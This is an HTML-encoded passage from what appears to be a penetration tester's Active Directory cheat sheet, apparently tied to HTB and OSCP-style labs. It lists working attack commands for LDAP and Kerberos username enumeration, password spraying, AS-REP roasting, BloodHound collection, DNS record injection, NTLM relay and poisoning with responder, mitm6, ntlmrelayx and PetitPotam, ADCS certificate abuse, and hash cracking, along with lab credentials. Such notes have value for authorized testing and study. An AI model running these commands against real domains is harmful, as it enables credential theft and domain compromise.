&amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="enumerate-ldap"&gt;&lt;a href="#enumerate-ldap" class="header-anchor"&gt;&lt;/a&gt;Enumerate LDAP&#10;&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -n -sV --script &amp;#34;ldap* and not brute&amp;#34; -p 389 &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H &amp;lt;ip&amp;gt; -s base&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://10.10.10.161:389 -s base&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local &amp;#34;(objectClass=person)&amp;#34; &amp;#34;*&amp;#34; +&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="find-usernames"&gt;&lt;a href="#find-usernames" class="header-anchor"&gt;&lt;/a&gt;Find Usernames&#10;&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -U &amp;lt;dc-ip&amp;gt; | grep &amp;#39;user:&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb &amp;lt;ip&amp;gt; -u &amp;lt;user&amp;gt; -p &amp;#39;&amp;lt;password&amp;gt;&amp;#39; --users&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -p 88 --script=krb5-enum-users --script-args=&amp;#34;krb5-enum-users.realm=&amp;#39;&amp;lt;domain&amp;gt;&amp;#39;,userdb=&amp;lt;users_list_file&amp;gt;&amp;#34; &amp;lt;ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OSINT - Find usernames on the internet&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Newly recorded&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.208.40 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 100&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/wordlists/SecLists-master/Usernames/xato-net-10-million-usernames.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Now we have the accounts, but no passwords.&lt;/p&gt;&#10;&lt;h4 id="password-spraying"&gt;&lt;a href="#password-spraying" class="header-anchor"&gt;&lt;/a&gt;Password Spraying&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Retrieve the domain password policy:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec &amp;lt;IP&amp;gt; -u &amp;#39;user&amp;#39; -p &amp;#39;password&amp;#39; --pass-pol&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linx -u &amp;#39;username&amp;#39; -p &amp;#39;password&amp;#39; -P &amp;lt;IP&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;dc-ip&amp;gt; -u user.txt -p password.txt --no-bruteforce # Do not brute-force; test only matching user=password pairs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;dc-ip&amp;gt; -u user.txt -p password.txt # Test all combinations; too many failures may trigger lockout depending on the password policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="asrep-roasting-attack"&gt;&lt;a href="#asrep-roasting-attack" class="header-anchor"&gt;&lt;/a&gt;ASREP-Roasting Attack&#10;&lt;/h4&gt;&lt;p&gt;Retrieve hashes&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python GetNPUsers.py &amp;lt;domain&amp;gt;/ -usersfile &amp;lt;usernames.txt&amp;gt; -format hashcat -outputfile &amp;lt;hashes.domain.txt&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus asreproast /format:hashcat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetNPUsers.py intelligence.htb/ -usersfile user.txt -no-pass -dc-ip 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetNPUsers.py -no-pass -dc-ip 10.10.10.248 intelligence.htb/Jose.Williams&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Find ASREP-Roastable accounts&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainUser -PreauthNotRequired -Properties SamAccountName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]-&amp;gt;(c)) RETURN p&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="once-you-have-the-credentials-for-any-domain-user"&gt;&lt;a href="#once-you-have-the-credentials-for-any-domain-user" class="header-anchor"&gt;&lt;/a&gt;Once You Have the Credentials for Any Domain User&#10;&lt;/h4&gt;&lt;p&gt;Retrieve passwords for other accounts&lt;/p&gt;&#10;&lt;h5 id="1-get-all-account-names-in-the-domain"&gt;&lt;a href="#1-get-all-account-names-in-the-domain" class="header-anchor"&gt;&lt;/a&gt;1. Get All Account Names in the Domain&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetADUsers.py -all -dc-ip &amp;lt;dc_ip&amp;gt; &amp;lt;domain&amp;gt;/&amp;lt;username&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="2-enumerate-smb-shares"&gt;&lt;a href="#2-enumerate-smb-shares" class="header-anchor"&gt;&lt;/a&gt;2. Enumerate SMB Shares&#10;&lt;/h5&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.4.0" target="_blank" rel="noopener"&#10; &gt;https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.4.0&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip&amp;gt; -u &amp;lt;user&amp;gt; -p &amp;lt;password&amp;gt; --shares&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="3-bloodhound"&gt;&lt;a href="#3-bloodhound" class="header-anchor"&gt;&lt;/a&gt;3. BloodHound&#10;&lt;/h5&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/dirkjanm/BloodHound.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/BloodHound.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodhound-python -d &amp;lt;domain&amp;gt; -u &amp;lt;user&amp;gt; -p &amp;lt;password&amp;gt; -gc &amp;lt;dc&amp;gt; -c all&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 -c all&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 --zip -c all&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="4-enumerate-dns-servers"&gt;&lt;a href="#4-enumerate-dns-servers" class="header-anchor"&gt;&lt;/a&gt;4. Enumerate DNS Servers&#10;&lt;/h5&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnstool.py -u &amp;#39;DOMAIN\user&amp;#39; -p &amp;#39;password&amp;#39; --record &amp;#39;*&amp;#39; --action query &amp;lt;dc_ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 dnstool.py -u &amp;#39;intelligence.htb\Tiffany.Molina&amp;#39; -p &amp;#39;NewIntelligenceCorpUser9876&amp;#39; -r webtestaa.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="relaypoisoning-attacks"&gt;&lt;a href="#relaypoisoning-attacks" class="header-anchor"&gt;&lt;/a&gt;Relay/Poisoning Attacks&#10;&lt;/h2&gt;&lt;p&gt;Scan for machines without SMB signing enabled.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;use exploit/windows/smb/smb_relay&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb $hosts --gen-relay-list relay.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;PetitPotam&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PetitPotam.py -d &amp;lt;domain&amp;gt; &amp;lt;listener_ip&amp;gt; &amp;lt;target_ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;You can follow this up with an AD CS attack.&lt;/p&gt;&#10;&lt;p&gt;Start listening&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;responder -i eth0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mitm6 -d &amp;lt;domain&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="no-smb-signing--ipv6-enabled--adcs"&gt;&lt;a href="#no-smb-signing--ipv6-enabled--adcs" class="header-anchor"&gt;&lt;/a&gt;No SMB Signing || IPv6 Enabled || ADCS&#10;&lt;/h5&gt;&lt;ol&gt;&#10;&lt;li&gt;MS08-068&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;use exploit/windows/smb/smb_relay &#9;# Commonly used for Windows 2003 / Windows Server 2008&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;responder -I eth0 # Remember to disable the local SMB and HTTP services first&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -tf targets.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;mitm6 -i eth0 -d&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -6 -wh &amp;lt;attacker_ip&amp;gt; -l /tmp -socks -debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -6 -wh &amp;lt;attacker_ip&amp;gt; -t smb://&amp;lt;target&amp;gt; -l /tmp -socks -debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -t ldaps://&amp;lt;dc_ip&amp;gt; -wh &amp;lt;attacker_ip&amp;gt; --delegate-access&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getST.py -spn cifs/&amp;lt;target&amp;gt; &amp;lt;domain&amp;gt;/&amp;lt;netbios_name&amp;gt;\$ -impersonate &amp;lt;user&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="3"&gt;&#10;&lt;li&gt;adcs&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -t http://&amp;lt;dc_ip&amp;gt;/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe asktgt /user:&amp;lt;user&amp;gt; /certificate:&amp;lt;base64-certificate&amp;gt; /ptt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="crack-the-captured-hash"&gt;&lt;a href="#crack-the-captured-hash" class="header-anchor"&gt;&lt;/a&gt;Crack the Captured hash&#10;&lt;/h5&gt;&lt;ol&gt;&#10;&lt;li&gt;LM&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john --format=lm hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 3000 -a 3 hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;NTLM&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john --format=nt hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 1000 -a 3 hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="3"&gt;&#10;&lt;li&gt;NTLMv1&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre 